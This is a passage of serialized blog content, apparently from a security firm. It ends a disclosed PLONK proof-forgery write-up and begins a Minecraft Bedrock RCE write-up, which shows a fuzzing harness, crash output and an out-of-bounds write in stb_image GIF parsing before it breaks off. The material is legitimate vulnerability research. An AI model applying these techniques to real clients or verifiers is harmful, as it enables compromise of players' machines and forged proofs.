",{"type":23,"tag":209,"props":146898,"children":146900},{"className":146899},[4076,4077],[146901],{"type":23,"tag":213,"props":146902,"children":146904},{"className":146903},[4082],[146905],{"type":23,"tag":213,"props":146906,"children":146908},{"className":146907,"ariaHidden":1710},[4087],[146909],{"type":23,"tag":213,"props":146910,"children":146912},{"className":146911},[4092],[146913,146917],{"type":23,"tag":213,"props":146914,"children":146916},{"className":146915,"style":110941},[4097],[],{"type":23,"tag":213,"props":146918,"children":146920},{"className":146919,"style":93586},[4103,21637],[146921],{"type":28,"value":114004},{"type":28,"value":146923}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":23,"tag":209,"props":146925,"children":146927},{"className":146926},[4076,4077],[146928],{"type":23,"tag":213,"props":146929,"children":146931},{"className":146930},[4082],[146932],{"type":23,"tag":213,"props":146933,"children":146935},{"className":146934,"ariaHidden":1710},[4087],[146936],{"type":23,"tag":213,"props":146937,"children":146939},{"className":146938},[4092],[146940,146944],{"type":23,"tag":213,"props":146941,"children":146943},{"className":146942,"style":110941},[4097],[],{"type":23,"tag":213,"props":146945,"children":146947},{"className":146946,"style":93586},[4103,21637],[146948],{"type":28,"value":114004},{"type":28,"value":146950},", so the prover can adjust them after the fact to make the check pass.",{"type":23,"tag":24,"props":146952,"children":146953},{},[146954,146956,146962,146964,146970],{"type":28,"value":146955},"The attack requires modifying a single evaluation (",{"type":23,"tag":209,"props":146957,"children":146959},{"className":146958},[],[146960],{"type":28,"value":146961},"key_table_next_eval",{"type":28,"value":146963},") by ",{"type":23,"tag":209,"props":146965,"children":146967},{"className":146966},[],[146968],{"type":28,"value":146969},"delta / (u * v^3)",{"type":28,"value":146971}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":23,"tag":24,"props":146973,"children":146974},{},[146975,146977,146984,146986,146997],{"type":28,"value":146976},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":23,"tag":36,"props":146978,"children":146981},{"href":146979,"rel":146980},"https://github.com/EspressoSystems/jellyfish/pull/867",[40],[146982],{"type":28,"value":146983},"PR #867",{"type":28,"value":146985}," fixed the issue and was tagged as ",{"type":23,"tag":36,"props":146987,"children":146990},{"href":146988,"rel":146989},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[40],[146991],{"type":23,"tag":209,"props":146992,"children":146994},{"className":146993},[],[146995],{"type":28,"value":146996},"jf-plonk-v0.8.0",{"type":28,"value":146998}," on March 18, 2026.",{"type":23,"tag":18845,"props":147000,"children":147001},{},[],{"type":23,"tag":47,"props":147003,"children":147005},{"id":147004},"toward-standardization",[147006],{"type":28,"value":147007},"Toward standardization",{"type":23,"tag":24,"props":147009,"children":147010},{},[147011,147013,147020],{"type":28,"value":147012},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":23,"tag":36,"props":147014,"children":147017},{"href":147015,"rel":147016},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[40],[147018],{"type":28,"value":147019},"similar patterns appear across zkVMs",{"type":28,"value":147021},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":23,"tag":24,"props":147023,"children":147024},{},[147025],{"type":28,"value":147026},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":23,"tag":24,"props":147028,"children":147029},{},[147030],{"type":28,"value":147031},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":23,"tag":47,"props":147033,"children":147034},{"id":60877},[147035],{"type":28,"value":147036},"Disclosure timeline",{"type":23,"tag":55797,"props":147038,"children":147039},{},[147040,147056],{"type":23,"tag":123051,"props":147041,"children":147042},{},[147043],{"type":23,"tag":123055,"props":147044,"children":147045},{},[147046,147051],{"type":23,"tag":123059,"props":147047,"children":147048},{},[147049],{"type":28,"value":147050},"Date",{"type":23,"tag":123059,"props":147052,"children":147053},{},[147054],{"type":28,"value":147055},"Event",{"type":23,"tag":123079,"props":147057,"children":147058},{},[147059,147072,147085,147097,147123,147143],{"type":23,"tag":123055,"props":147060,"children":147061},{},[147062,147067],{"type":23,"tag":123086,"props":147063,"children":147064},{},[147065],{"type":28,"value":147066},"2026-02-13",{"type":23,"tag":123086,"props":147068,"children":147069},{},[147070],{"type":28,"value":147071},"Dusk vulnerability reported",{"type":23,"tag":123055,"props":147073,"children":147074},{},[147075,147080],{"type":23,"tag":123086,"props":147076,"children":147077},{},[147078],{"type":28,"value":147079},"2026-02-14",{"type":23,"tag":123086,"props":147081,"children":147082},{},[147083],{"type":28,"value":147084},"Dusk acknowledged",{"type":23,"tag":123055,"props":147086,"children":147087},{},[147088,147092],{"type":23,"tag":123086,"props":147089,"children":147090},{},[147091],{"type":28,"value":147079},{"type":23,"tag":123086,"props":147093,"children":147094},{},[147095],{"type":28,"value":147096},"Dusk fix committed",{"type":23,"tag":123055,"props":147098,"children":147099},{},[147100,147105],{"type":23,"tag":123086,"props":147101,"children":147102},{},[147103],{"type":28,"value":147104},"2026-02-27",{"type":23,"tag":123086,"props":147106,"children":147107},{},[147108,147110,147121],{"type":28,"value":147109},"Public ",{"type":23,"tag":36,"props":147111,"children":147114},{"href":147112,"rel":147113},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[40],[147115],{"type":23,"tag":209,"props":147116,"children":147118},{"className":147117},[],[147119],{"type":28,"value":147120},"dusk-rusk-1.6.0",{"type":28,"value":147122}," release published",{"type":23,"tag":123055,"props":147124,"children":147125},{},[147126,147131],{"type":23,"tag":123086,"props":147127,"children":147128},{},[147129],{"type":28,"value":147130},"2026-03-16",{"type":23,"tag":123086,"props":147132,"children":147133},{},[147134,147136,147142],{"type":28,"value":147135},"Jellyfish fix PR opened (",{"type":23,"tag":36,"props":147137,"children":147139},{"href":146979,"rel":147138},[40],[147140],{"type":28,"value":147141},"#867",{"type":28,"value":2121},{"type":23,"tag":123055,"props":147144,"children":147145},{},[147146,147151],{"type":23,"tag":123086,"props":147147,"children":147148},{},[147149],{"type":28,"value":147150},"2026-03-18",{"type":23,"tag":123086,"props":147152,"children":147153},{},[147154,147156,147161,147163],{"type":28,"value":147155},"Jellyfish fix merged in ",{"type":23,"tag":36,"props":147157,"children":147159},{"href":146979,"rel":147158},[40],[147160],{"type":28,"value":147141},{"type":28,"value":147162}," and tagged as ",{"type":23,"tag":36,"props":147164,"children":147166},{"href":146988,"rel":147165},[40],[147167],{"type":23,"tag":209,"props":147168,"children":147170},{"className":147169},[],[147171],{"type":28,"value":146996},{"type":23,"tag":47,"props":147173,"children":147175},{"id":147174},"acknowledgements",[147176],{"type":28,"value":147177},"Acknowledgements",{"type":23,"tag":24,"props":147179,"children":147180},{},[147181],{"type":28,"value":147182},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":226,"depth":226,"links":147184},[147185,147192,147193,147194,147195,147196,147197,147198,147199,147200,147201,147202],{"id":142002,"depth":226,"text":142005,"children":147186},[147187,147188,147189,147190,147191],{"id":142027,"depth":524,"text":142030},{"id":142830,"depth":524,"text":142833},{"id":144028,"depth":524,"text":144031},{"id":144058,"depth":524,"text":144061},{"id":144339,"depth":524,"text":144342},{"id":145072,"depth":226,"text":145075},{"id":145210,"depth":226,"text":145213},{"id":90354,"depth":226,"text":145841},{"id":146440,"depth":226,"text":146443},{"id":146577,"depth":226,"text":146580},{"id":146692,"depth":226,"text":146695},{"id":146785,"depth":226,"text":146788},{"id":146852,"depth":226,"text":146855},{"id":147004,"depth":226,"text":147007},{"id":60877,"depth":226,"text":147036},{"id":147174,"depth":226,"text":147177},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":147207,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":147208,"description":147209,"date":147210,"author":123710,"image":147211,"isFeatured":18,"onBlogPage":18,"tags":147213,"body":147216,"_type":2967,"_id":156596,"_source":2969,"_file":156597,"_stem":156598,"_extension":2972},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":147212,"width":97321,"height":13703},"/posts/minecraft-heap-overflow-to-rce/title.png",[147214,147215],"minecraft","rce",{"type":20,"children":147217,"toc":156573},[147218,147223,147228,147233,147239,147244,147263,147268,147274,147279,147284,147290,147295,147300,147305,147311,147316,147321,147327,147347,147359,147366,147388,147402,147409,147415,147425,147445,147450,147456,147469,147814,147819,147827,147833,147852,148160,148188,148231,148243,148251,148256,148725,148744,148765,149107,149131,149403,149427,149454,149663,149682,149690,149709,149715,149777,149780,149802,149806,149811,149816,149822,149827,149841,149847,149861,149867,149880,149885,149893,149898,149904,149925,149933,149946,149949,149954,149968,149973,149978,149984,149989,150012,150017,150023,150028,150040,150052,150166,150186,150191,150196,150202,150207,150227,150842,150855,151929,151934,151942,151947,151953,151958,151966,151979,151984,151989,151996,152009,152014,152021,152076,152096,152103,152122,152129,152132,152137,152142,152148,152160,152173,152181,152252,152263,152297,152305,152310,152315,152321,152333,152352,152364,152369,152377,152396,152404,152423,152431,152457,152465,152470,152478,152483,152491,152494,152499,152504,152510,152523,152541,152579,152609,152617,152622,152628,152633,152638,152644,152656,152825,152837,152845,152850,152857,152862,152923,152970,152982,152987,153013,153087,153125,153130,153138,153159,153164,153190,153224,153277,153324,153330,153349,153381,153389,153492,153563,153569,153595,153602,153607,153614,153619,153860,153886,153891,153939,153944,153950,153982,153994,154026,154034,154073,154081,154086,154094,154099,154107,154119,154127,154139,154147,154159,154179,154185,154205,154222,154230,154242,154250,154269,154274,154282,154287,154295,154321,154332,154339,154344,154352,154357,154365,154370,154378,154383,154391,154396,154404,154409,154417,154458,154465,154470,154478,154483,154491,154496,154504,154509,154514,154522,154527,154535,154561,154569,154595,154603,154608,154616,154621,154629,154637,154642,154650,154655,154663,154666,154677,154711,154729,154737,154757,154763,154782,154840,154860,154868,154871,154910,154970,154975,154981,154994,155002,155054,155093,155101,155134,155137,155157,155165,155171,155176,155184,155224,155265,155285,155290,155295,155313,155319,155324,155343,155404,155412,155438,155444,155464,155469,155474,155481,155546,155551,155558,155579,155584,155596,155602,155635,155642,155647,155675,155682,155738,155750,155757,155818,155837,155843,155877,155898,155925,155933,155986,156056,156062,156082,156125,156130,156528,156534,156539,156550,156554,156559,156564,156569],{"type":23,"tag":35430,"props":147219,"children":147221},{"id":147220},"pwning-minecraft-4-byte-heap-overflow-to-rce",[147222],{"type":28,"value":147208},{"type":23,"tag":24,"props":147224,"children":147225},{},[147226],{"type":28,"value":147227},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":23,"tag":24,"props":147229,"children":147230},{},[147231],{"type":28,"value":147232},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":23,"tag":47,"props":147234,"children":147236},{"id":147235},"the-target",[147237],{"type":28,"value":147238},"The Target",{"type":23,"tag":24,"props":147240,"children":147241},{},[147242],{"type":28,"value":147243},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":23,"tag":24,"props":147245,"children":147246},{},[147247,147249,147254,147256,147261],{"type":28,"value":147248},"There are two main editions: ",{"type":23,"tag":95,"props":147250,"children":147251},{},[147252],{"type":28,"value":147253},"Minecraft Java Edition",{"type":28,"value":147255},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":23,"tag":95,"props":147257,"children":147258},{},[147259],{"type":28,"value":147260},"Minecraft Bedrock Edition",{"type":28,"value":147262},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":23,"tag":24,"props":147264,"children":147265},{},[147266],{"type":28,"value":147267},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":23,"tag":9693,"props":147269,"children":147271},{"id":147270},"choice-of-context",[147272],{"type":28,"value":147273},"Choice of Context",{"type":23,"tag":24,"props":147275,"children":147276},{},[147277],{"type":28,"value":147278},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":23,"tag":24,"props":147280,"children":147281},{},[147282],{"type":28,"value":147283},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":23,"tag":9693,"props":147285,"children":147287},{"id":147286},"resource-packs",[147288],{"type":28,"value":147289},"Resource Packs",{"type":23,"tag":24,"props":147291,"children":147292},{},[147293],{"type":28,"value":147294},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":23,"tag":24,"props":147296,"children":147297},{},[147298],{"type":28,"value":147299},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":23,"tag":24,"props":147301,"children":147302},{},[147303],{"type":28,"value":147304},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":23,"tag":47,"props":147306,"children":147308},{"id":147307},"finding-a-memory-corruption-bug",[147309],{"type":28,"value":147310},"Finding a Memory Corruption Bug",{"type":23,"tag":24,"props":147312,"children":147313},{},[147314],{"type":28,"value":147315},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":23,"tag":24,"props":147317,"children":147318},{},[147319],{"type":28,"value":147320},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":23,"tag":9693,"props":147322,"children":147324},{"id":147323},"locating-image-parsing-code",[147325],{"type":28,"value":147326},"Locating Image Parsing Code",{"type":23,"tag":24,"props":147328,"children":147329},{},[147330,147332,147338,147339,147345],{"type":28,"value":147331},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":23,"tag":209,"props":147333,"children":147335},{"className":147334},[],[147336],{"type":28,"value":147337},"PNG",{"type":28,"value":108},{"type":23,"tag":209,"props":147340,"children":147342},{"className":147341},[],[147343],{"type":28,"value":147344},"GIF",{"type":28,"value":147346}," and look for error logging or other messages that use those substrings.",{"type":23,"tag":24,"props":147348,"children":147349},{},[147350,147352,147357],{"type":28,"value":147351},"Searching for the string ",{"type":23,"tag":209,"props":147353,"children":147355},{"className":147354},[],[147356],{"type":28,"value":147344},{"type":28,"value":147358}," returned some interesting results:",{"type":23,"tag":24,"props":147360,"children":147361},{},[147362],{"type":23,"tag":4009,"props":147363,"children":147365},{"alt":50631,"src":147364},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":23,"tag":24,"props":147367,"children":147368},{},[147369,147371,147378,147380,147387],{"type":28,"value":147370},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":23,"tag":36,"props":147372,"children":147375},{"href":147373,"rel":147374},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[40],[147376],{"type":28,"value":147377},"stb_image.h",{"type":28,"value":147379},". For an example: usage of ",{"type":23,"tag":36,"props":147381,"children":147384},{"href":147382,"rel":147383},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[40],[147385],{"type":28,"value":147386},"bad Image Descriptor",{"type":28,"value":124},{"type":23,"tag":24,"props":147389,"children":147390},{},[147391,147393,147400],{"type":28,"value":147392},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":23,"tag":36,"props":147394,"children":147397},{"href":147395,"rel":147396},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[40],[147398],{"type":28,"value":147399},"stbi__gif_load_next",{"type":28,"value":147401},", and loaded the resource pack - this confirmed its usage:",{"type":23,"tag":24,"props":147403,"children":147404},{},[147405],{"type":23,"tag":4009,"props":147406,"children":147408},{"alt":50631,"src":147407},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":23,"tag":9693,"props":147410,"children":147412},{"id":147411},"stb-image-library",[147413],{"type":28,"value":147414},"STB Image Library",{"type":23,"tag":24,"props":147416,"children":147417},{},[147418,147423],{"type":23,"tag":209,"props":147419,"children":147421},{"className":147420},[],[147422],{"type":28,"value":147377},{"type":28,"value":147424}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":23,"tag":24,"props":147426,"children":147427},{},[147428,147430,147435,147437,147444],{"type":28,"value":147429},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":23,"tag":209,"props":147431,"children":147433},{"className":147432},[],[147434],{"type":28,"value":147377},{"type":28,"value":147436}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":23,"tag":36,"props":147438,"children":147441},{"href":147439,"rel":147440},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[40],[147442],{"type":28,"value":147443},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":28,"value":124},{"type":23,"tag":24,"props":147446,"children":147447},{},[147448],{"type":28,"value":147449},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":23,"tag":18945,"props":147451,"children":147453},{"id":147452},"fuzzing",[147454],{"type":28,"value":147455},"Fuzzing",{"type":23,"tag":24,"props":147457,"children":147458},{},[147459,147461,147468],{"type":28,"value":147460},"The fuzzer consisted of a very simple ",{"type":23,"tag":36,"props":147462,"children":147465},{"href":147463,"rel":147464},"https://github.com/AFLplusplus/AFLplusplus",[40],[147466],{"type":28,"value":147467},"AFL++",{"type":28,"value":26796},{"type":23,"tag":202,"props":147470,"children":147472},{"code":147471,"language":3244,"meta":7,"className":16566,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n int x, y, comp;\n unsigned char *ret;\n\n if (argc != 2) {\n return 1;\n }\n\n ret = stbi_load(argv[1], &x, &y, &comp, 0);\n if (ret == NULL) {\n return 1;\n }\n \n stbi_image_free(ret);\n\n return 0;\n}\n",[147473],{"type":23,"tag":209,"props":147474,"children":147475},{"__ignoreMap":7},[147476,147489,147501,147508,147554,147566,147587,147594,147618,147633,147640,147647,147719,147743,147758,147765,147772,147785,147792,147807],{"type":23,"tag":213,"props":147477,"children":147478},{"class":215,"line":216},[147479,147484],{"type":23,"tag":213,"props":147480,"children":147481},{"style":1362},[147482],{"type":28,"value":147483},"#define",{"type":23,"tag":213,"props":147485,"children":147486},{"style":257},[147487],{"type":28,"value":147488}," STB_IMAGE_IMPLEMENTATION\n",{"type":23,"tag":213,"props":147490,"children":147491},{"class":215,"line":226},[147492,147496],{"type":23,"tag":213,"props":147493,"children":147494},{"style":1362},[147495],{"type":28,"value":90468},{"type":23,"tag":213,"props":147497,"children":147498},{"style":246},[147499],{"type":28,"value":147500}," \"./stb/stb_image.h\"\n",{"type":23,"tag":213,"props":147502,"children":147503},{"class":215,"line":524},[147504],{"type":23,"tag":213,"props":147505,"children":147506},{"emptyLinePlaceholder":18},[147507],{"type":28,"value":530},{"type":23,"tag":213,"props":147509,"children":147510},{"class":215,"line":533},[147511,147515,147519,147523,147527,147532,147536,147541,147545,147550],{"type":23,"tag":213,"props":147512,"children":147513},{"style":230},[147514],{"type":28,"value":19100},{"type":23,"tag":213,"props":147516,"children":147517},{"style":257},[147518],{"type":28,"value":90833},{"type":23,"tag":213,"props":147520,"children":147521},{"style":220},[147522],{"type":28,"value":265},{"type":23,"tag":213,"props":147524,"children":147525},{"style":230},[147526],{"type":28,"value":19100},{"type":23,"tag":213,"props":147528,"children":147529},{"style":268},[147530],{"type":28,"value":147531}," argc",{"type":23,"tag":213,"props":147533,"children":147534},{"style":220},[147535],{"type":28,"value":424},{"type":23,"tag":213,"props":147537,"children":147538},{"style":230},[147539],{"type":28,"value":147540},"char",{"type":23,"tag":213,"props":147542,"children":147543},{"style":274},[147544],{"type":28,"value":89934},{"type":23,"tag":213,"props":147546,"children":147547},{"style":268},[147548],{"type":28,"value":147549},"argv",{"type":23,"tag":213,"props":147551,"children":147552},{"style":220},[147553],{"type":28,"value":14870},{"type":23,"tag":213,"props":147555,"children":147556},{"class":215,"line":543},[147557,147561],{"type":23,"tag":213,"props":147558,"children":147559},{"style":230},[147560],{"type":28,"value":19130},{"type":23,"tag":213,"props":147562,"children":147563},{"style":220},[147564],{"type":28,"value":147565}," x, y, comp;\n",{"type":23,"tag":213,"props":147567,"children":147568},{"class":215,"line":551},[147569,147574,147578,147582],{"type":23,"tag":213,"props":147570,"children":147571},{"style":230},[147572],{"type":28,"value":147573}," unsigned",{"type":23,"tag":213,"props":147575,"children":147576},{"style":230},[147577],{"type":28,"value":59102},{"type":23,"tag":213,"props":147579,"children":147580},{"style":274},[147581],{"type":28,"value":282},{"type":23,"tag":213,"props":147583,"children":147584},{"style":220},[147585],{"type":28,"value":147586},"ret;\n",{"type":23,"tag":213,"props":147588,"children":147589},{"class":215,"line":570},[147590],{"type":23,"tag":213,"props":147591,"children":147592},{"emptyLinePlaceholder":18},[147593],{"type":28,"value":530},{"type":23,"tag":213,"props":147595,"children":147596},{"class":215,"line":655},[147597,147601,147606,147610,147614],{"type":23,"tag":213,"props":147598,"children":147599},{"style":1362},[147600],{"type":28,"value":2653},{"type":23,"tag":213,"props":147602,"children":147603},{"style":220},[147604],{"type":28,"value":147605}," (argc ",{"type":23,"tag":213,"props":147607,"children":147608},{"style":274},[147609],{"type":28,"value":15743},{"type":23,"tag":213,"props":147611,"children":147612},{"style":514},[147613],{"type":28,"value":8022},{"type":23,"tag":213,"props":147615,"children":147616},{"style":220},[147617],{"type":28,"value":14870},{"type":23,"tag":213,"props":147619,"children":147620},{"class":215,"line":1176},[147621,147625,147629],{"type":23,"tag":213,"props":147622,"children":147623},{"style":1362},[147624],{"type":28,"value":2839},{"type":23,"tag":213,"props":147626,"children":147627},{"style":514},[147628],{"type":28,"value":4618},{"type":23,"tag":213,"props":147630,"children":147631},{"style":220},[147632],{"type":28,"value":313},{"type":23,"tag":213,"props":147634,"children":147635},{"class":215,"line":1202},[147636],{"type":23,"tag":213,"props":147637,"children":147638},{"style":220},[147639],{"type":28,"value":2875},{"type":23,"tag":213,"props":147641,"children":147642},{"class":215,"line":1758},[147643],{"type":23,"tag":213,"props":147644,"children":147645},{"emptyLinePlaceholder":18},[147646],{"type":28,"value":530},{"type":23,"tag":213,"props":147648,"children":147649},{"class":215,"line":1767},[147650,147655,147659,147664,147668,147672,147676,147680,147684,147688,147693,147697,147702,147706,147711,147715],{"type":23,"tag":213,"props":147651,"children":147652},{"style":220},[147653],{"type":28,"value":147654}," ret ",{"type":23,"tag":213,"props":147656,"children":147657},{"style":274},[147658],{"type":28,"value":3190},{"type":23,"tag":213,"props":147660,"children":147661},{"style":257},[147662],{"type":28,"value":147663}," stbi_load",{"type":23,"tag":213,"props":147665,"children":147666},{"style":220},[147667],{"type":28,"value":265},{"type":23,"tag":213,"props":147669,"children":147670},{"style":268},[147671],{"type":28,"value":147549},{"type":23,"tag":213,"props":147673,"children":147674},{"style":220},[147675],{"type":28,"value":3821},{"type":23,"tag":213,"props":147677,"children":147678},{"style":514},[147679],{"type":28,"value":4106},{"type":23,"tag":213,"props":147681,"children":147682},{"style":220},[147683],{"type":28,"value":23108},{"type":23,"tag":213,"props":147685,"children":147686},{"style":274},[147687],{"type":28,"value":405},{"type":23,"tag":213,"props":147689,"children":147690},{"style":220},[147691],{"type":28,"value":147692},"x, ",{"type":23,"tag":213,"props":147694,"children":147695},{"style":274},[147696],{"type":28,"value":405},{"type":23,"tag":213,"props":147698,"children":147699},{"style":220},[147700],{"type":28,"value":147701},"y, ",{"type":23,"tag":213,"props":147703,"children":147704},{"style":274},[147705],{"type":28,"value":405},{"type":23,"tag":213,"props":147707,"children":147708},{"style":220},[147709],{"type":28,"value":147710},"comp, ",{"type":23,"tag":213,"props":147712,"children":147713},{"style":514},[147714],{"type":28,"value":4116},{"type":23,"tag":213,"props":147716,"children":147717},{"style":220},[147718],{"type":28,"value":2867},{"type":23,"tag":213,"props":147720,"children":147721},{"class":215,"line":1789},[147722,147726,147731,147735,147739],{"type":23,"tag":213,"props":147723,"children":147724},{"style":1362},[147725],{"type":28,"value":2653},{"type":23,"tag":213,"props":147727,"children":147728},{"style":220},[147729],{"type":28,"value":147730}," (ret ",{"type":23,"tag":213,"props":147732,"children":147733},{"style":274},[147734],{"type":28,"value":8660},{"type":23,"tag":213,"props":147736,"children":147737},{"style":230},[147738],{"type":28,"value":127823},{"type":23,"tag":213,"props":147740,"children":147741},{"style":220},[147742],{"type":28,"value":14870},{"type":23,"tag":213,"props":147744,"children":147745},{"class":215,"line":1812},[147746,147750,147754],{"type":23,"tag":213,"props":147747,"children":147748},{"style":1362},[147749],{"type":28,"value":2839},{"type":23,"tag":213,"props":147751,"children":147752},{"style":514},[147753],{"type":28,"value":4618},{"type":23,"tag":213,"props":147755,"children":147756},{"style":220},[147757],{"type":28,"value":313},{"type":23,"tag":213,"props":147759,"children":147760},{"class":215,"line":1838},[147761],{"type":23,"tag":213,"props":147762,"children":147763},{"style":220},[147764],{"type":28,"value":2875},{"type":23,"tag":213,"props":147766,"children":147767},{"class":215,"line":1851},[147768],{"type":23,"tag":213,"props":147769,"children":147770},{"style":220},[147771],{"type":28,"value":61840},{"type":23,"tag":213,"props":147773,"children":147774},{"class":215,"line":1864},[147775,147780],{"type":23,"tag":213,"props":147776,"children":147777},{"style":257},[147778],{"type":28,"value":147779}," stbi_image_free",{"type":23,"tag":213,"props":147781,"children":147782},{"style":220},[147783],{"type":28,"value":147784},"(ret);\n",{"type":23,"tag":213,"props":147786,"children":147787},{"class":215,"line":1890},[147788],{"type":23,"tag":213,"props":147789,"children":147790},{"emptyLinePlaceholder":18},[147791],{"type":28,"value":530},{"type":23,"tag":213,"props":147793,"children":147794},{"class":215,"line":1899},[147795,147799,147803],{"type":23,"tag":213,"props":147796,"children":147797},{"style":1362},[147798],{"type":28,"value":17040},{"type":23,"tag":213,"props":147800,"children":147801},{"style":514},[147802],{"type":28,"value":517},{"type":23,"tag":213,"props":147804,"children":147805},{"style":220},[147806],{"type":28,"value":313},{"type":23,"tag":213,"props":147808,"children":147809},{"class":215,"line":1912},[147810],{"type":23,"tag":213,"props":147811,"children":147812},{"style":220},[147813],{"type":28,"value":1208},{"type":23,"tag":24,"props":147815,"children":147816},{},[147817],{"type":28,"value":147818},"And soon after starting the fuzzer it found an interesting bug:",{"type":23,"tag":202,"props":147820,"children":147822},{"code":147821},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n [...]\n #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n [...]\n",[147823],{"type":23,"tag":209,"props":147824,"children":147825},{"__ignoreMap":7},[147826],{"type":28,"value":147821},{"type":23,"tag":18945,"props":147828,"children":147830},{"id":147829},"investigating-the-finding",[147831],{"type":28,"value":147832},"Investigating the Finding",{"type":23,"tag":24,"props":147834,"children":147835},{},[147836,147838,147844,147845,147850],{"type":28,"value":147837},"The ASAN output shows that at line ",{"type":23,"tag":209,"props":147839,"children":147841},{"className":147840},[],[147842],{"type":28,"value":147843},"6233",{"type":28,"value":143344},{"type":23,"tag":209,"props":147846,"children":147848},{"className":147847},[],[147849],{"type":28,"value":147377},{"type":28,"value":147851}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":23,"tag":202,"props":147853,"children":147855},{"code":147854,"language":3244,"meta":7,"className":16566,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n stbi_uc *p, *c;\n int idx; \n\n [...]\n\n if (g->cur_y >= g->max_y) return;\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; // OOB 